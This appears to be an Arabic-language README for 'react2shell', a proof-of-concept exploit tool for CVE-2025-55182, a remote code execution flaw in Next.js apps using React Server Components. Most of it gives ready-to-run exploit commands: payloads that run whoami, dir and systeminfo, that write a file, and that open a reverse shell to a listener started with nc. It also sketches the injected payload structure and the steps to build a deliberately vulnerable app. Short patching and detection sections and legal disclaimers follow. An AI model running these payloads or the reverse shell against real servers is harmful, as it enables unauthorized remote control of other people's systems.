
إطار عمل كامل لاستغلال الثغرة الأمنية CVE-2025-55182
أداة استغلال (إثبات مفهوم) لثغرة CVE-2025-55182، وهي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد داخل تطبيقات Next.js التي تستخدم React Server Components.
هذه الأداة مخصصة للاختبارات الأمنية التعليمية والمصرح بها فقط.
# Clone or download this repository
git clone https://github.com/zr0n/react2shell
cd react2shell
# Install dependencies
npm install form-data
node react2shell.js <target_url> <payload_type> [options]
node react2shell.js http://localhost:3000 basic
# Check server console for output: EXPLOITED: 50
# Get current user
node react2shell.js http://localhost:3000 whoami
# List files
node react2shell.js http://localhost:3000 dir
# System information
node react2shell.js http://localhost:3000 systeminfo
# Launch calculator
node react2shell.js http://localhost:3000 calc
# Launch notepad
node react2shell.js http://localhost:3000 notepad
node react2shell.js http://localhost:3000 file
# Check server directory for EXPLOITED.txt
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Execute exploit
node react2shell.js http://localhost:3000 shell <YOUR_IP> 4444
# Works on both Windows (PowerShell) and Linux (Bash)
# Create project directory
mkdir vulnerable-nextjs-app
cd vulnerable-nextjs-app
# Initialize Next.js with vulnerable version
npx create-next-app@latest . --ts --app --no-eslint --tailwind
# Downgrade to vulnerable version
npm install [email protected]
# Install dependencies
npm install
app/page.tsx)export default function Home() {
return (
<div className="p-8">
<h1 className="text-4xl font-bold">Vulnerable Next.js App</h1>
<p className="mt-4">This app is vulnerable to CVE-2025-55182</p>
</div>
);
}
npm run dev
# Server runs on http://localhost:3000
يعتمد هذا الاستغلال على ثغرة إلغاء تسلسل (Deserialization) في React Server Components:
constructor.constructor للوصول إلى مُنشئ Function_prefix// Simplified vulnerability chain
{
_formData: {
get: '$3:constructor:constructor' // Access Function constructor
},
_prefix: 'YOUR_CODE_HERE//' // Injected code
}
التحديث فورًا:
npm update next@latest
npm update react@latest react-dom@latest
التحقق من الإصدارات المُصحَّحة:
npm list next react
الإصدارات المطلوبة:
next-actionابحث عن طلبات POST التي تحتوي على:
next-actionmultipart/form-dataconstructor, _prefix, _formDataPOST / with next-action header
Suspicious FormData keys: 0, 1, 2, 3, 4
Response: 200 (successful exploitation) or 500 (failed)
هذه أداة تعليمية. المساهمات التي تعمل على تحسين:
مرحب بها. لا تقدم مساهمات تعزز قدرات الهجوم.
للاستخدام التعليمي فقط - دون أي ضمان
Luiz Fernando Ziron أُنشئت لأغراض التعليم والتوعية في مجال الأمن السيبراني.
باستخدامك لهذه الأداة، فإنك توافق على:
الوصول غير المصرح به إلى أنظمة الكمبيوتر جريمة في معظم الدول.
ابقَ آمنًا، وحافظ على الأخلاقيات، والتزم بالقانون. 🔒
| Payload | Description | Example |
|---|
basic | إثبات رياضي للمفهوم (7*7+1=50) | node react2shell.js http://target:3000 basic |
whoami | عرض مستخدم النظام الحالي | node react2shell.js http://target:3000 whoami |
dir | عرض محتويات الدليل الحالي | node react2shell.js http://target:3000 dir |
systeminfo | عرض معلومات نظام التشغيل | node react2shell.js http://target:3000 systeminfo |
file | إنشاء ملف إثبات EXPLOITED.txt | node react2shell.js http://target:3000 file |
calc | تشغيل الآلة الحاسبة (إثبات مرئي على Windows) | node react2shell.js http://target:3000 calc |
notepad | تشغيل المفكرة (إثبات مرئي على Windows) | node react2shell.js http://target:3000 notepad |
shell | صدفة عكسية (كشف تلقائي بين Windows/Linux) | node react2shell.js http://target:3000 shell 10.10.10.5 4444 |